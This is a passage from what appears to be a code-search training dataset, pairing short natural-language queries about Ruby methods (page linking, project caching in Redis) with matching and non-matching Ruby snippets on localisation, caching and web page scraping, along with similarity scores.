"def salesmen_ordered\n users.salesmen.all(:order => 'name_normalized ASC')\n end",
"def add_student(student_name, grade)\n if @roster.has_key?(grade)\n @roster[grade] << student_name\n else\n @roster[grade] = []\n @roster[grade] << student_name\n end\n end",
"def sort\n super { |x, y| x.file_name <=> y.file_name }\n end"
] | [
"0.7992486",
"0.7468632",
"0.74620163",
"0.7276964",
"0.7257774",
"0.7257774",
"0.7154111",
"0.71498907",
"0.71150535",
"0.70866776",
"0.7061759",
"0.68353426",
"0.68326634",
"0.6828903",
"0.680314",
"0.65420014",
"0.6515555",
"0.6487491",
"0.64787716",
"0.6372604",
"0.6330224",
"0.6330224",
"0.63192654",
"0.62705314",
"0.6226274",
"0.6225319",
"0.6196788",
"0.6190914",
"0.6190914",
"0.6183464",
"0.61314607",
"0.612543",
"0.61239773",
"0.61161405",
"0.6106663",
"0.6095153",
"0.6095153",
"0.6088963",
"0.6078404",
"0.60650647",
"0.6046556",
"0.60415626",
"0.6041385",
"0.6041385",
"0.60102105",
"0.6007401",
"0.5986983",
"0.5986856",
"0.59656906",
"0.5962589",
"0.5955015",
"0.59269804",
"0.59058714",
"0.58912206",
"0.58852804",
"0.5854589",
"0.5852261",
"0.5848231",
"0.58194053",
"0.58174145",
"0.5791012",
"0.5788037",
"0.5782254",
"0.57776994",
"0.57772046",
"0.5772165",
"0.5753631",
"0.57485306",
"0.5732169",
"0.57301354",
"0.56803524",
"0.566589",
"0.56582654",
"0.5654534",
"0.5635951",
"0.561139",
"0.5603625",
"0.5590965",
"0.55810386",
"0.5580042",
"0.55785",
"0.557821",
"0.5571733",
"0.555009",
"0.554896",
"0.55459195",
"0.55427223",
"0.55421895",
"0.5527323",
"0.5523878",
"0.55209315",
"0.5512212",
"0.55070204",
"0.55014616",
"0.5500619",
"0.54961586",
"0.5459077",
"0.54548943",
"0.5447624",
"0.54368424"
] | 0.68986255 | 11 |
Just an idea, instead of localeStorage, saving the current project in Redis in a hash. Not implemented. | def cache(user)
"#{user.id}_project"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_locale\n Thread.current[:\"localite:locale\"] || base\n end",
"def translations_hash; end",
"def current\n locale = I18n.locale\n @current ||=\n Rails.cache.fetch(\"languages/current/#{locale}\") do\n l = Language.find_by_group(locale)\n l ||= Language.english\n end\n end",
"def switch_to(text_domain, locale)\n @store[text_domain] ||= {}\n @store[text_domain][locale] ||= {}\n @store[text_domain][locale][\"\"] = false # ignore gettext meta key when translating\n @current = @store[text_domain][locale]\n end",
"def store_translations(locale, data, options = {})\n locale = locale.to_sym\n translations[locale] ||= {}\n data = data.deep_symbolize_keys\n translations[locale].deep_merge!(data)\n end",
"def project\n strong_memoize(:project) do\n projects.first\n end\n end",
"def git_cache\n self[KEY]\n end",
"def track_locale\n I18n.locale = session[:current_locale] || I18n.default_locale\n end",
"def api_hash locale=Locale.first\n \t{\n \t code: self.code, \n \t name: self.name(locale.name),\n note: self.note(locale.name),\n question: self.question(locale.name)\n }\n end",
"def store_translations(locale, data)\n flatten_data(locale => data).each do |key, value|\n self[key] = value\n end\n end",
"def current_locale(reload = false)\n return @locale if @locale && !reload\n @locale = locales.find(:id => 'current')\n end",
"def store_language\n self.language ||= I18n.locale.to_s\n end",
"def key\n @key ||= self.project.key + '-' + self.no.to_s\n end",
"def lookup(locale, key)\n cache_key = Translation.ck(locale, key)\n if @cache_store.exist?(cache_key) && value = @cache_store.read(cache_key)\n return value\n else\n translations = locale.translations.find_all_by_key(Translation.hk(key))\n case translations.size\n when 0\n value = nil\n when 1\n value = translations.first.value_or_default\n else\n value = translations.inject([]) do |values, t| \n values[t.pluralization_index] = t.value_or_default\n values\n end\n end\n\n @cache_store.write(cache_key, (value.nil? ? nil : value))\n return value\n end\n end",
"def cache_key\n [super, user.try(:cache_key)].compact.join('/')\n end",
"def export\n keys = {}\n reset\n db_localizations = {}\n Lit::Localization.find_each do |l|\n db_localizations[l.full_key] = l.get_value\n end\n db_localizations.sort.each do |(l_key, value)|\n current = keys\n yaml_keys = l_key.split('.')\n\n 0.upto(yaml_keys.size - 2) do |i|\n key = yaml_keys[i]\n # Overwrite en.key with en.sub.key\n unless current[key].class == Hash\n current[key] = {}\n end\n current = current[key]\n end\n current[yaml_keys.last] = value\n end\n keys.to_yaml\n end",
"def wiki_key\n # This assumes the project is Wikipedia, which is true for all wikis with the articlequality\n # or the language is nil, which is the case for Wikidata.\n @wiki_key ||= \"#{@wiki.language || @wiki.project}wiki\"\n end",
"def locale_backend; end",
"def project_name\n locales_CEW.websiteName\n end",
"def cookie_key_name\n live_editing? ? \"steam-locale-#{site.handle}\" : 'steam-locale'\n end",
"def path\n current_localization.path\n end",
"def cache_key; @cache.to_sym; end",
"def old_redis_key\n @old_redis_key ||= \"sphinx/integration/recent_rt:current\"\n end",
"def store=(possible_store)\n @store = if possible_store.is_a?(Hash)\n Lolita::I18n::Redis_Store.new(possible_store)\n else\n possible_store\n end\n @store\n end",
"def find_main_translations\n find_main_cached.translations.inject({}) { |memo, tr| memo[\"#{tr.namespace}/#{tr.tr_key}\"] = tr; memo }\n end",
"def local_store\n @stores[\"sc-chi\"]\n end",
"def remember(locale)\n cookies[:locale] = locale\n I18n.locale = locale\n end",
"def translation\r\n translation_for(Mongoid::Globalize.locale)\r\n end",
"def user_languages_hash\n result = Hash.new\n\n I18n.available_locales.each do |locale|\n result[t(\"languages.#{locale.to_s}\")] = locale.to_s\n end\n \n return result\n end",
"def store_translations(locale, data, options = {})\n super\n ActiveRecord::Base.transaction do\n store_item(locale, data)\n end if store_items? && valid_locale?(locale)\n end",
"def store_translations(locale, data, options = {})\n super\n ActiveRecord::Base.transaction do\n store_item(locale, data)\n end if store_items? && valid_locale?(locale)\n end",
"def translation_for(locale)\r\n @translation_caches ||= {}\r\n # Need to temporary switch of merging, because #translations uses\r\n # #attributes method too, to avoid stack level too deep error.\r\n @stop_merging_translated_attributes = true\r\n unless @translation_caches[locale]\r\n _translation = translations.find_by_locale(locale)\r\n _translation ||= translations.build(:locale => locale)\r\n @translation_caches[locale] = _translation\r\n end\r\n @stop_merging_translated_attributes = false\r\n @translation_caches[locale]\r\n end",
"def cache_key\n if @collector.swimmer\n # \"RGB\" stands for \"RecordGridBuilder\", to uniquely identify this type of cache key\n \"RGB:#{I18n.locale}:#{@collector.swimmer.id}:#{@collector.collection.cache_key}\"\n else\n \"RGB:#{I18n.locale}:#{@collector.collection.cache_key}\"\n end\n end",
"def add_current_locale\n locale = ::Mongoid::Fields::I18n.locale.to_s\n self.locales << locale unless self.locales.include?(locale)\n end",
"def write(locale, name, value)\r\n stash.write(locale, name, value)\r\n end",
"def load_locale!(locale)\n @projects.each do |project|\n @adapter.allowed_extensions.each do |extension|\n result = project.export locale, extension, @fallback\n\n if result.nil?\n raise \"Could not load project #{project} with extension #{extension} and locale #{locale}\"\n end\n\n strings, plurals = @adapter.parse result, extension\n\n strings = project.filter strings\n plurals = project.filter plurals\n\n warn \"Did not find any strings or plurals in #{project}\" if strings.empty? && plurals.empty?\n\n @strings[locale] = (@strings[locale] || {}).merge(strings)\n @plurals[locale] = (@plurals[locale] || {}).merge(plurals)\n end\n end\n end",
"def store_translations(locale, data, options = {})\n escape = options.fetch(:escape, true)\n flatten_translations(locale, data, escape, @subtrees).each do |key, value|\n key = \"#{locale}.#{key}\"\n\n case value\n when Hash\n if @subtrees && (old_value = @store[key])\n old_value = ActiveSupport::JSON.decode(old_value)\n value = old_value.deep_symbolize_keys.deep_merge!(value) if old_value.is_a?(Hash)\n end\n when Proc\n raise \"Key-value stores cannot handle procs\"\n end\n\n unless value.is_a?(Symbol)\n if value.is_a?(String)\n @store[key] = value.strip.gsub(/\\<script.*?\\>|\\<\\/script\\>/, '') unless value.blank? # don't store the locale if it is empty\n else\n @store[key] = ActiveSupport::JSON.encode(value)\n end\n end\n end\n end",
"def enriched_key\n \"backend.#{backend.id}.#{id}\"\n end",
"def build_model_i18n_js_cache(user)\n set_app_def() unless Cache[:app]\n\n model_i18n = {}\n Cache[:app][:model_list].each do |model|\n model_i18n[model] = get_model_i18n(model, user)\n end\n\n cache_str = 'R8.Model.i18n=' + JSON.pretty_generate(model_i18n) + ';'\n cache_file_name = \"#{R8::Config[:js_file_write_path]}/model.i18n.cache.js\"\n File.open(cache_file_name, 'w') { |fhandle| fhandle.write(cache_str) }\n end",
"def locale_metas_storage(locale = I18n.locale)\n metas_storage[I18n.locale.to_s]\n end",
"def set_gettext_locale_db\n params[:locale] ||= User.current.try(:locale)\n end",
"def project_for_key(key)\n\n # project_file_path = Rails.root.join('project', key, 'project.json')\n # project_hash = JSON.parse File.read(project_file_path)\n\n project = Project.find_by key: key\n project\n end",
"def store_translations(locale, data, options = {})\n raise NotImplementedError\n end",
"def current_project\n @current_project ||= session[:project_id] unless @current_project== false\n end",
"def cache_key\n case\n when !persisted?\n \"#{self.class.model_name.cache_key}/new\"\n else\n \"#{self.class.model_name.cache_key}/#{id}-#{self.cache_version_key}\"\n end\n end",
"def translations\n @translations ||= {}\n end",
"def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.story_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.story_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end",
"def cache_change\n @project = Project.find_by_id(project_id)\n if [email protected]? # prevents issue where @project was returning null, if the project hadn't been approved yet.\n if @project.is_stage_one == \"Is not Stage One\" && @project.active == true && attribute_name != 'active' && @project.donor.name == 'China'\n\n first = Rails.cache.fetch(\"recent/first\")\n\n # if the last project was the same as this one, store it in the string\n # instead of making a new entry\n if first && first[:id] == project_id\n action = first[:action]\n new_action = \"#{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n\n #no duplicates\n unless /#{new_action}/ =~ action\n first[:action] = action << \", #{new_action}\"\n first[:time] = self.updated_at\n Rails.cache.write(\"recent/first\", first)\n else\n false\n end\n\n else\n # add a new entry and move the old ones down\n second = Rails.cache.fetch(\"recent/second\")\n\n Rails.cache.write(\"recent/third\", second)\n Rails.cache.write(\"recent/second\", first)\n @update_sent = \"updated #{(attribute_name || \"#{association_model}s\").titleize.downcase}\"\n json = {\n id: @project.id,\n title: @project.title,\n info: @project.to_english(exclude_title: true),\n action: @update_sent,\n time: self.updated_at\n }\n\n Rails.cache.write(\"recent/first\", json)\n end\n else\n false\n end\n end\n end",
"def store_translation(locale, key, text, count=nil)\n if count.nil?\n data = text\n else\n pluralization_index = pluralizer(locale).call(count)\n data = { pluralization_index => text }\n end\n Translation.create_or_update(locale, key, data)\n # merge the stored translation back to the memory collection\n reload!\n end",
"def current_project(id)\n #gets either the session project or retrieves one from the database\n return session[:project] if !session[:project].nil? && session[:project][:id] == id\n project = Project.find(id)\n session[:project] = project\n return project\n end",
"def cache_key_base\n \"georeferencer/#{Georeferencer::VERSION}/#{self.to_s.underscore}\"\n end",
"def key\n :cache\n end",
"def t_hash(key)\n translations = {}\n %i[en fr].each do |locale|\n translations[locale] = I18n.t(key, locale: locale, default: key.to_s.titleize)\n end\n translations\n end",
"def write_to_file keys\n init_translations_and_ignore_app_mode_file_dump if self.class.mode == :origin\n # Hash to capture the files updated on origin mode and the keys for each one\n result = {}\n keys.each do |key, value|\n #\n # Search the files where the translation will be applied to\n decide_filenames(key).each do |filename| \n (result[filename] ||= []) << key\n # Apply the current translation to the filenames\n #\n # It will save a key 'ubiquo.categories.index.title' with a value 'Title'\n # mergin the content of $filename with it\n #\n # Load the file\n hash = YAML.load_file(filename)\n # Morph the translation key\n # from: 'ubiquo.categories.index.title'\n # to: { :ubiquo => {\n # :categories => {\n # :index => {\n # :title => 'Title'\n # }\n # }\n # }\n # }\n # }\n branch_hash = Translate::Keys.to_deep_hash({key => value})\n #\n # Cast all the hash keys to String\n #\n branch_hash = Translate::File.deep_stringify_keys({self.locale => branch_hash})\n #\n # Merge the translation with the content of the file\n #\n #\n hash.deep_merge!(branch_hash)\n #\n # Save to file updated to disk\n Translate::File.new(filename).write(hash)\n end \n end\n result\n end",
"def serializable_hash(options)\n hash = super(options)\n extra_hash = {\n 'project' => project,\n }\n hash.merge!(extra_hash)\n end",
"def cache_key\n title.parameterize\n end",
"def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.section_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.section_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end",
"def rails_cache_id\n Apartment::Tenant.current\n end",
"def cache_key\n end",
"def save\n $redis.hsetnx RedisContainer, self.full_name, self.to_json\n end",
"def update_translation( key, value, locale )\n \n # lock file\n filename = File::join RAILS_ROOT, \"config/locales\", File::basename( locale + \".yml\" )\n if( File.exists? filename )\n file = File.new( filename, \"r+\")\n else\n file = File.new( filename, \"w+\" ) \n end\n \n file.flock( File::LOCK_EX )\n \n begin \n # read project locale file\n data = YAML.load( file )\n unless data.is_a? Hash \n I18n.load_path << filename\n data = { locale => {} } unless data \n end\n \n tmp = data\n \n # create middle hash keys as needed\n key = locale + \".\" + key\n keys = key.split(/\\./)\n base_key = keys.pop\n \n while tmpkey = keys.shift\n unless tmp[tmpkey].class == Hash\n tmp[tmpkey] = {}\n end\n tmp = tmp[tmpkey]\n end\n \n # update or create value\n tmp[base_key] = value\n \n # save file\n file.truncate( 0 )\n file.rewind\n file.write( data.to_yaml )\n ensure\n # unlock and close file\n file.flock( File::LOCK_UN )\n file.close\n end\n \n I18n.reload!\n \n end",
"def current_locale\n I18n.locale.to_sym || I18n.default_locale.to_sym || I18n.available_locales.first.to_sym\n end",
"def rails_cache_id\n Apartment::Tenant.current_tenant\n end",
"def store\n ROM.env\n end",
"def application_name\n # It's important that we don't use ActionView::Helpers::CacheHelper#cache here\n # because it returns nil.\n Rails.cache.fetch 'blacklight/application_name' do\n t('blacklight.application_name',\n default: t('blacklight.application_name', locale: I18n.default_locale))\n end\n end",
"def locale\n I18n.locale.to_s\n end",
"def locale\n I18n.locale.to_s\n end",
"def locale=(locale); end",
"def add locale, key, value\n entry = self[key] ||= Entry.new\n entry[locale] = value\n end",
"def locale\n favored_locale\n end",
"def key_for_cached\n [ @options[:namespace], MD5.hexdigest(@url) ].join('_')\n end",
"def cache_key\n \"#{self.class.cache_key_base}/#{self.id}\"\n end",
"def save!\n FileUtils.mkdir_p File.dirname(self.file)\n\n File.open(self.file, \"w+\") do |f|\n f << %(#{self.namespace}.translations || (#{self.namespace}.translations = {});\\n)\n self.translations.each do |locale, translations_for_locale|\n f << %(#{self.namespace}.translations[\"#{locale}\"] = #{translations_for_locale.to_json};\\n);\n end\n end\n end",
"def cache_key\n \"#{protocol}-universe\"\n end",
"def save!\n $redis.hset RedisContainer, self.full_name, self.to_json\n end",
"def create_local\n template \"config/locales/en.rb\", \"config/locales/#{class_name.underscore}.en.yml\"\n end",
"def project\n threaded[:project]\n end",
"def title\n current_localization.name\n end",
"def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.infographic_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.infographic_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end",
"def globalize_object(model)\n return unless pol_cfg.multilang?\n pol_cfg.languages.each do |lang|\n next if model.globalize_translations.map(&:locale).include?(lang.to_sym)\n model.globalize_translations.build({ :locale => lang })\n end\n end",
"def export_locale(locale)\n @sections_hash.keys.reduce({}) do |memo, section|\n memo[section.name] = export_section_locale(section, locale)\n memo\n end\n end",
"def cache_key\n \"me/#{object.id}-#{object.updated_at.utc.to_s(:number)}\"\n end",
"def storage_hash\n JSON.parse(@bot.storage.reload.content || '{}')\n end",
"def store_cached_name\n self.cached_name = \"\"\n self.cached_name << \"#{reference} - \" if reference.present?\n self.cached_name << \"#{resource.title} - \"\n self.cached_name << \"#{criterion.name}\"\n end",
"def save_to_redis(include_yanked = true)\n save_resource_to_redis :gems, REDIS_GEMS_KEY\n save_resource_to_redis :yanked, REDIS_YANKED_KEY if include_yanked\n end",
"def update_translations(locale, data)\n set_translations(locale, application.cache_translations(\n locale,\n key,\n data.is_a?(Hash) ? data['translations'] : data\n ))\n end",
"def cache_key\n [object, scope]\n end",
"def cache_key\n [object, scope]\n end",
"def cache_key\n [object, scope]\n end",
"def cache_key\n [object, scope]\n end",
"def cache_key\n [object, scope]\n end",
"def serialize(object)\n { ::I18n.locale.to_s => object.try(:to_s) }\n end",
"def translation_for(locale, **)\n translation = translations.in_locale(locale)\n translation ||= translations.build(locale: locale)\n translation\n end",
"def execute\n locales.each do |locale|\n print \" #{locale.to_s}: \"\n locale.set qualified_key, gets.chomp\n end\n @key\n end",
"def default_locale\n AppConfig.default_locale\n end",
"def current\n now_playing = Play::Player.now_playing\n now_playing = now_playing.to_hash if now_playing\n\n songs = Play::Queue.songs\n\n Yajl.dump({\n :now_playing => now_playing,\n :songs => songs.map {|song| song.to_hash }\n })\n end",
"def cache_key_for_ideas\n count = Idea.published.count\n max_updated_at = Idea.published.maximum(:updated_at).try(:utc).try(:to_s, :number)\n \"ideas/all-#{count}-#{max_updated_at}\"\n end",
"def translations reset_cache=false\n return @translations if @translations && !reset_cache\n b = bindings || @bindings\n\n translations = b[:object].translations_by_locale\n new_locales = available_locales - translations.keys.map(&:to_sym)\n\n new_locales.map do |locale|\n translations[locale] = b[:object].translations.new({ locale: locale })\n end\n\n @translations = translations\n end",
"def persistence_key #:nodoc:\n # initial_config[:persistence_key] ? parent.try(:persistence_key) ? \"#{parent.persistence_key}__#{initial_config[:persistence_key]}\".to_sym : initial_config[:persistence_key] : global_id.to_sym\n initial_config[:persistence_key] ? initial_config[:persistence_key] : global_id.to_sym\n end",
"def localizations\n @@locales[Locale.code] || {}\n end"
] | [
"0.5913796",
"0.58742917",
"0.57955784",
"0.5696557",
"0.56920224",
"0.56034577",
"0.5578434",
"0.5498196",
"0.54722613",
"0.54700357",
"0.5460152",
"0.5426229",
"0.53552544",
"0.5337919",
"0.5317755",
"0.5310304",
"0.5302839",
"0.5284406",
"0.5281995",
"0.5275137",
"0.52645075",
"0.5264381",
"0.5251599",
"0.5242304",
"0.52336925",
"0.52141577",
"0.52055055",
"0.5204621",
"0.5193236",
"0.51854044",
"0.51854044",
"0.5179214",
"0.5162202",
"0.5147489",
"0.5144956",
"0.5139961",
"0.51341134",
"0.5133591",
"0.51294446",
"0.512399",
"0.5112814",
"0.51121205",
"0.5111866",
"0.51072955",
"0.51064545",
"0.5092142",
"0.50814426",
"0.5070167",
"0.5069271",
"0.5065726",
"0.50645185",
"0.5061275",
"0.5040614",
"0.50404793",
"0.503435",
"0.50323534",
"0.50310093",
"0.50180215",
"0.50160885",
"0.5010357",
"0.5007688",
"0.49973837",
"0.49924207",
"0.4991592",
"0.49852124",
"0.49774536",
"0.49774536",
"0.4975744",
"0.49724925",
"0.4970687",
"0.49694282",
"0.49671462",
"0.49646696",
"0.49611193",
"0.49597713",
"0.49558926",
"0.4955688",
"0.4952505",
"0.4939865",
"0.49361798",
"0.4934457",
"0.4927021",
"0.49252072",
"0.4922972",
"0.49183774",
"0.49181354",
"0.49120212",
"0.49120212",
"0.49120212",
"0.49120212",
"0.49120212",
"0.48872608",
"0.48863167",
"0.48824483",
"0.48741478",
"0.48734617",
"0.48679283",
"0.4866968",
"0.4866403",
"0.48646128"
] | 0.5911733 | 1 |
record a page that contains this link | def add_page_from(page)
@pages_from << page unless @pages_from.include?(page)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def record_page(page)\n\t\t\t\turl = page.uri.to_s\n\t\t\t\trecord(url, content: page.content)\n\t\t\tend",
"def associate_page(page); end",
"def store_page\n @stored_page = @crwlr.pages.create(:address => @url, :title => @page_title[0..200], :number_of_links => @links.size)\n if @parent_page\n @parent_page.pages << @stored_page\n end\n end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page; end",
"def page!\n save_and_open_page\n end",
"def page!\n save_and_open_page\n end",
"def add_to_history(page); end",
"def create\n @link = Link.new(params[:link])\n doc = Pismo::Document.new(@link.url) \n #grab metadata from doc\n if doc.title.nil?\n @link.name = doc.description\n else\n @link.name = doc.title\n end\n @link.favicon = doc.favicon\n\n #FOR OFFLINE USE\n #@link.name = \"Offline Description\"\n\n\n\n\n paginate_all_links\n respond_to do |format|\n if @link.save\n #if using bookmarklet foward back to link you came from\n if request.referer =~ /autosave/\n format.html { redirect_to @link.url }\n else\n #if using frontpage redirect to show all links \n format.html { redirect_to root_url+\"#show-links\", notice: 'Link was successfully created.' }\n end\n format.html { redirect_to @link.url, notice: 'Link was successfully created.' }\n format.json { render json: @link, status: :created, location: @link }\n else\n format.html { render action: \"new\" }\n format.json { render json: @link.errors, status: :unprocessable_entity }\n end\n end\n end",
"def click(link); end",
"def page; self end",
"def next_page; link 'next' end",
"def save_information(keyword, page)\n\t\t\tkeyword.save_adword_urls(page)\n\t\t\tkeyword.save_nonadword_urls(page)\n \tend",
"def link_to_page(name)\n page = StaticPage.find_by_name(name)\n page = StaticPage.create!(:name => name) unless page\n static_page_path(page)\n end",
"def page\n\n end",
"def share_page(id)\n unless @page = @scope.pages.first({ id: id })\n halt 404, \"This link seems to point to a non-existent page.\"\n end\n\n unless pp = @scope.public_pages.first({ page: @page })\n pp = @scope.public_pages.create({ page: @page, user: current_user })\n end\n\n redirect pp.url\nend",
"def set_page\n end",
"def next_page\n @page.link_with(:text => /Next/)\n end",
"def scrapePage\n # expects to be passed in a Watir:Browser object\n # gets the header from the current browser page and records it, the page url and the next page's url to the array\n pageDoc = getPage\n nextPageUrl = getFirstLinkUrl(pageDoc)\n pageEntry = getPageRecord(pageDoc, nextPageUrl)\n recordEntry(pageEntry)\n\n LOGGER.debug(\"Information scraped from: #{pageEntry[:url]}\")\n end",
"def saveNewPostURL(obj)\n if obj['pageObj'].exist?\n status = 'True'\n msg = 'New Post Success'\n value = @browser.url\n else\n status = 'False'\n msg = 'New Post Fail'\n value = ''\n end\n @report << [obj['Screen'], msg, value, status]\n end",
"def link\n\t\tpage_id.present? ? short_page_path(Page.find(page_id)) : href\n\tend",
"def set_page\n @page = Page.find_by_permalink!(params[:id])#.split(\"/\").last)\n end",
"def pages; end",
"def href; end",
"def add\n if page.url && !Ink.config['docs_mode']\n Ink.site.pages << page unless Helpers::Path.find_page(page)\n end\n end",
"def view\n @page = StaticContent.find(:first,:conditions =>[\"url_name=?\",params[:url].join('/')]) \n if @page == nil\n if admin?\n flash[:warning] = 'Requested page does not exist. Would you like to <a href=\"/static/new?document[url_name]=' + params[:url].to_s + '\">create it</a>?'\n else\n flash[:warning] = 'Sorry, the page you have requested does not exist.'\n end\n redirect_to :back;\n return\n end\n @page_title = @page.one_line_summary\nend",
"def save_adword_urls(page)\n\t\tsave_adword_urls_right(page) \n\t\tsave_adword_urls_top(page)\n\tend",
"def goto newPage\n unless friends[newPage.to_sym].nil?\n uri = friends[newPage.to_sym].uri\n end\n uri ||= newPage\n uri = @page.uri+uri unless uri.to_s =~ /^http/u\n @page = @agent.get uri\n @page\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"def get_da_detail_page(page, da_container)\n\n tds = da_container.search('td')\n\n href = tds[0].at('a')['href']\n\n detail_page = page.link_with(:href => \"#{href}\").click\n\n \n\n return detail_page\n\nend",
"def link() url; end",
"def link() url; end",
"def handle_new\n obj = model.new(request.params[model.link], request)\n model.hook(:before_new, request, obj)\n new_page(obj)\n end",
"def sub_navigate\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n end",
"def visited_page(url); end",
"def visited_page(url); end",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def set_page\n page = find_page(params[:id])\n @url = page[0]\n @title = page[1]\n @contents = find_file(page[2])\n end",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def scrape_and_look_for_next_link(page)\n scrape_table(page.body)\n link = page.link_with(:text => '2')\n if link\n page.form_with(:name => 'aspnetForm') do |f|\n f['__EVENTTARGET'] = 'ctl00$ContentPlaceHolder1$tab21$GVProcesos'\n f['__EVENTARGUMENT'] = 'Page$2'\n page = f.submit()\n p page.body\n end\n scrape_and_look_for_next_link(page)\n end\nend",
"def goto_page(page)\r\n goto_url full_url(page);\r\n end",
"def load_results(results_page)\n puts \"load results\"\n\n # Get all the links on the page\n links = results_page.links_with(:href => /^search_corps\\.php\\?DETAIL/)\n\n # Get the index of the last loaded link, or 0\n index = ScraperWiki.get_var(INDEX, 0)\n\n # Finish loading the rest of the links onthe page\n while index < links.length \n link = DETAIL_BASE + links[index].href\n puts \"load link \" + link\n\n # Load the current link\n begin\n ScraperWiki.sqliteexecute(\"INSERT INTO links (link) VALUES (?)\", [link])\n ScraperWiki.commit()\n rescue Exception => e\n puts \"Exception (#{e.inspect}) raised saving record #{link}\"\n end\n\n # Increment and save the index\n index = index + 1\n ScraperWiki.save_var(INDEX, index)\n end\nend",
"def load_results(results_page)\n puts \"load results\"\n\n # Get all the links on the page\n links = results_page.links_with(:href => /^search_corps\\.php\\?DETAIL/)\n\n # Get the index of the last loaded link, or 0\n index = ScraperWiki.get_var(INDEX, 0)\n\n # Finish loading the rest of the links onthe page\n while index < links.length \n link = DETAIL_BASE + links[index].href\n puts \"load link \" + link\n\n # Load the current link\n begin\n ScraperWiki.sqliteexecute(\"INSERT INTO links (link) VALUES (?)\", [link])\n ScraperWiki.commit()\n rescue Exception => e\n puts \"Exception (#{e.inspect}) raised saving record #{link}\"\n end\n\n # Increment and save the index\n index = index + 1\n ScraperWiki.save_var(INDEX, index)\n end\nend",
"def external_link_inventory # make this an object attribute for every page object, along with base url, and other helpful state info\n []\n end",
"def page_link(page_id)\n page = Page.find(page_id)\n page.link.downcase\n end",
"def pages\n end",
"def page\n obj\n end",
"def process_page page_url\n page = SuperCrawler::Scrap.new(page_url) # Scrap the current page\n\n current_page_links = page.get_links # Get current page internal links\n new_links = current_page_links - @links # Select new links\n\n new_links.each { |link| @links_queue.push(link) } # Add new links to the queue\n @links += new_links # Add new links to the links list\n @crawl_results << { # Provide current page crawl result as a hash\n url: page.url, # The crawled page\n links: current_page_links, # Its internal links\n assets: page.get_assets # Its assets\n }\n\n SuperCrawler::Render.log_status( page_url, @crawl_results.length, @links.length ) if @option_debug # Display site crawling status\n end",
"def add_page(url)\n unless robot_txt_allowed?(url)\n @scanned_pages << url\n return nil\n end\n page = Page.new(url)\n @pages << page\n @scanned_pages << url\n end",
"def link_scrap(page)\n webpage = Nokogiri::HTML(open(page_params))\n webpage.css('a').each do |link| \n @link_obj = Link.new(text: link.text.strip, href: link['href'])\n page.links << @link_obj\n end\n end",
"def next_page; end",
"def dump(a, page)\n return unless self.debug?\n\n url = a.current_page.uri.request_uri\n puts \"current page: #{url}\"\n\n md5 = Digest::MD5.new; md5 << url; md5 << Time.now.to_s\n path = File.join(Dir.tmpdir, md5.to_s + \".html\")\n out = open(path, \"w\") do |f|\n f << \"Current page: #{url}\"\n f << \"Headers: #{page.header}\"\n f << page.body\n end\n\n puts \"#{url} -> #{path}\"\n end",
"def save_page(title, attr)\n title = normalize_title(title)\n \n page = find_page(title)\n page.set(attr)\n \n transaction \"update `#{page.title}'\" do\n store[page.title + '.md'] = page\n end\n end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def page=(_arg0); end",
"def link_to_add_entry page\n url = new_admin_page_path parent_id: @page.id, type: page_set_type(page)\n raw link_to 'Add Entry', url, class: 'button add', id: 'add-entry'\n end",
"def build_page(sha, ref)\n # implement inside child\n end",
"def add_to_history(page)\n @agent.history.push(page, @agent.resolve(page.uri))\n @history_added.call(page) if @history_added\n end",
